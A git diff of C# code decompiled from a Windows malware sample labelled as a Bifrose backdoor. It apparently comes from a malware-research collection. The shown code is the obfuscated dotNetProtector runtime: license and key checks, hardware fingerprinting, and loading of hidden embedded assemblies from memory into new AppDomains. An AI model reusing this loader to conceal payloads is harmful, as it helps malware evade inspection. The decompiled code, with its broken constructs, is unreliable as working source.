public virtual long GetMacAddress() => \u0082\u00BB.Ç();
|
||||
|
||||
public virtual ulong GetBiosHash() => \u0082\u00BB.Ï();
|
||||
|
||||
public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id);
|
||||
|
||||
public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3)
|
||||
{
|
||||
IntPtr ptr = IntPtr.Zero;
|
||||
if (Reserved3 != (string) null)
|
||||
ptr = Marshal.StringToCoTaskMemAnsi(Reserved3);
|
||||
IntPtr num1 = pReserved1.TypeHandle.Value;
|
||||
int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
|
||||
if (ptr != IntPtr.Zero)
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
if (num2 == 2)
|
||||
{
|
||||
this.\u0081\u00BD = pReserved1.Assembly;
|
||||
this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name;
|
||||
int length = \u0082\u00BB.\u0081\u009B();
|
||||
if (length != 0)
|
||||
{
|
||||
this.ò = new Assembly[length];
|
||||
int index = 0;
|
||||
if (0 < length)
|
||||
{
|
||||
do
|
||||
{
|
||||
this.ò[index] = (Assembly) null;
|
||||
++index;
|
||||
}
|
||||
while (index < length);
|
||||
}
|
||||
}
|
||||
}
|
||||
return num2;
|
||||
}
|
||||
|
||||
public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2)
|
||||
{
|
||||
IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size);
|
||||
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2);
|
||||
\u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer());
|
||||
IntPtr num = Marshal.ReadIntPtr(ptr);
|
||||
string str = (string) null;
|
||||
if (num != IntPtr.Zero)
|
||||
{
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(num);
|
||||
Marshal.FreeHGlobal(num);
|
||||
str = stringAnsi;
|
||||
}
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
if (!(coTaskMemAnsi != IntPtr.Zero))
|
||||
return str;
|
||||
Marshal.FreeCoTaskMem(coTaskMemAnsi);
|
||||
return str;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb)
|
||||
{
|
||||
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(licenseKey);
|
||||
int num1 = usb ? 1 : 0;
|
||||
int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1);
|
||||
if (coTaskMemAnsi != IntPtr.Zero)
|
||||
Marshal.FreeCoTaskMem(coTaskMemAnsi);
|
||||
return num2 != 0;
|
||||
}
|
||||
|
||||
public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenProductKey(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
uint LicenseID,
|
||||
ulong data)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenProductKey(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
uint LicenseID)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey)
|
||||
{
|
||||
uint licenseId;
|
||||
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return licenseId;
|
||||
}
|
||||
|
||||
public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey)
|
||||
{
|
||||
uint num;
|
||||
ulong productkeyData;
|
||||
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return productkeyData;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr DecodeActivationString(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr pActivationString)
|
||||
{
|
||||
byte* numPtr;
|
||||
if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration)
|
||||
{
|
||||
sbyte* config;
|
||||
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
IntPtr pAssemblyFile)
|
||||
{
|
||||
sbyte* config;
|
||||
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
AssemblyName Name)
|
||||
{
|
||||
string name = Name.Name;
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
sbyte* config;
|
||||
int num2 = \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config);
|
||||
gcHandle.Free();
|
||||
if (num2 == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe string GetThumbPrint(Assembly pReserved)
|
||||
{
|
||||
\u0081Ï ï;
|
||||
if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
int num = 0;
|
||||
do
|
||||
{
|
||||
// ISSUE: cast to a reference type
|
||||
// ISSUE: explicit reference operation
|
||||
stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0'));
|
||||
++num;
|
||||
}
|
||||
while (num < 20);
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved)
|
||||
{
|
||||
uint length;
|
||||
byte* numPtr;
|
||||
if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
byte[] destination = new byte[(int) length];
|
||||
IntPtr num = (IntPtr) (void*) numPtr;
|
||||
Marshal.Copy(num, destination, 0, (int) length);
|
||||
Marshal.FreeCoTaskMem(num);
|
||||
return destination;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity)
|
||||
{
|
||||
sbyte* usbConfig;
|
||||
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity,
|
||||
IntPtr pAssemblyFile)
|
||||
{
|
||||
sbyte* usbConfig;
|
||||
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity,
|
||||
AssemblyName Name)
|
||||
{
|
||||
string name = Name.Name;
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
sbyte* usbConfig;
|
||||
int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig);
|
||||
gcHandle.Free();
|
||||
if (num2 == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq)
|
||||
{
|
||||
sbyte* license;
|
||||
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) license;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq,
|
||||
int tolerance,
|
||||
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
|
||||
long RuntimeLicensesLimit)
|
||||
{
|
||||
sbyte* license;
|
||||
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) license;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateUsbLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq)
|
||||
{
|
||||
sbyte* usbLicense;
|
||||
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbLicense;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateUsbLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq,
|
||||
int tolerance,
|
||||
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
|
||||
long RuntimeLicensesLimit)
|
||||
{
|
||||
sbyte* usbLicense;
|
||||
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbLicense;
|
||||
}
|
||||
|
||||
public virtual unsafe Assembly ResolveAssembly(string Name)
|
||||
{
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
try
|
||||
{
|
||||
AssemblyName assemblyName = new AssemblyName(Name);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
uint exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num2 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
return (Assembly) null;
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num2 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
if (num2 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num2);
|
||||
}
|
||||
}
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(Name);
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer());
|
||||
if (index >= 0)
|
||||
{
|
||||
Assembly[] ò = this.ò;
|
||||
if (index < ò.Length)
|
||||
{
|
||||
if ((object) ò[index] == null)
|
||||
this.ò[index] = this.\u0081â(num3);
|
||||
gcHandle.Free();
|
||||
return this.ò[index];
|
||||
}
|
||||
}
|
||||
gcHandle.Free();
|
||||
return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null;
|
||||
}
|
||||
|
||||
public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2);
|
||||
|
||||
public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1)
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
int length1 = Marshal.ReadInt32(ptr);
|
||||
IntPtr source = (IntPtr) (void*) (numPtr + 4);
|
||||
byte[] rawAssembly = new byte[length1];
|
||||
byte[] destination = rawAssembly;
|
||||
int length2 = length1;
|
||||
Marshal.Copy(source, destination, 0, length2);
|
||||
Assembly embLockAssembly = Assembly.Load(rawAssembly);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
return embLockAssembly;
|
||||
}
|
||||
|
||||
public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1)
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
Assembly lockAssemblyName = (Assembly) null;
|
||||
try
|
||||
{
|
||||
lockAssemblyName = Assembly.Load(stringAnsi);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
return lockAssemblyName;
|
||||
}
|
||||
|
||||
public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1)
|
||||
{
|
||||
byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) ptr1 == IntPtr.Zero)
|
||||
return (ArrayList) null;
|
||||
IntPtr ptr2 = (IntPtr) (void*) ptr1;
|
||||
ArrayList assemblyServices = new ArrayList();
|
||||
if (*ptr1 != (byte) 0)
|
||||
{
|
||||
do
|
||||
{
|
||||
string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1);
|
||||
assemblyServices.Add((object) stringAnsi);
|
||||
ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1);
|
||||
}
|
||||
while (*ptr1 != (byte) 0);
|
||||
}
|
||||
Marshal.FreeCoTaskMem(ptr2);
|
||||
return assemblyServices;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool IsDemo(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
public virtual unsafe int DaysLeft(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
}
|
||||
|
||||
public virtual unsafe int MinutesLeft(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
}
|
||||
|
||||
public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer());
|
||||
|
||||
public virtual void UnloadAppdomain(AppDomain domain)
|
||||
{
|
||||
int id = domain.Id;
|
||||
AppDomain.Unload(domain);
|
||||
\u0082\u00BB.\u0095(id);
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø();
|
||||
|
||||
public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer());
|
||||
|
||||
public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers)
|
||||
{
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0);
|
||||
IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer());
|
||||
gcHandle.Free();
|
||||
return num2;
|
||||
}
|
||||
|
||||
public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer());
|
||||
|
||||
public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames();
|
||||
|
||||
public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles)
|
||||
{
|
||||
GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned);
|
||||
GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned);
|
||||
GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0);
|
||||
IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0);
|
||||
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0);
|
||||
\u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer());
|
||||
gcHandle1.Free();
|
||||
gcHandle2.Free();
|
||||
gcHandle3.Free();
|
||||
}
|
||||
}
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: <dotNetProtector>
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
public class \u003CdotNetProtector\u003E
|
||||
{
|
||||
internal static readonly long _Reserved;
|
||||
}
|
||||
+281
@@ -0,0 +1,281 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.Ù
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
[Serializable]
|
||||
internal class \u0081Ù
|
||||
{
|
||||
private IntPtr \u0082\u00B0;
|
||||
private IntPtr á;
|
||||
private int Þ;
|
||||
private Assembly Û;
|
||||
|
||||
private unsafe Assembly \u00F7()
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
int length1 = Marshal.ReadInt32(ptr);
|
||||
IntPtr source = (IntPtr) (void*) (numPtr + 4);
|
||||
byte[] rawAssembly = new byte[length1];
|
||||
byte[] destination = rawAssembly;
|
||||
int length2 = length1;
|
||||
Marshal.Copy(source, destination, 0, length2);
|
||||
Assembly assembly = Assembly.Load(rawAssembly);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
return assembly;
|
||||
}
|
||||
|
||||
private unsafe Assembly \u0089()
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
Assembly assembly = (Assembly) null;
|
||||
try
|
||||
{
|
||||
assembly = Assembly.Load(stringAnsi);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
return assembly;
|
||||
}
|
||||
|
||||
public static unsafe int \u0081Ö(Assembly _param0, int _param1)
|
||||
{
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]);
|
||||
int num2 = 0;
|
||||
\u0081Ù ù = new \u0081Ù();
|
||||
ù.Û = _param0;
|
||||
ù.\u0082\u00B0 = hinstance;
|
||||
ù.Þ = _param1;
|
||||
IntPtr num3 = (IntPtr) (void*) &num2;
|
||||
ù.á = num3;
|
||||
AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString());
|
||||
int id = domain.Id;
|
||||
domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç);
|
||||
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í);
|
||||
domain.DoCallBack(callBackDelegate);
|
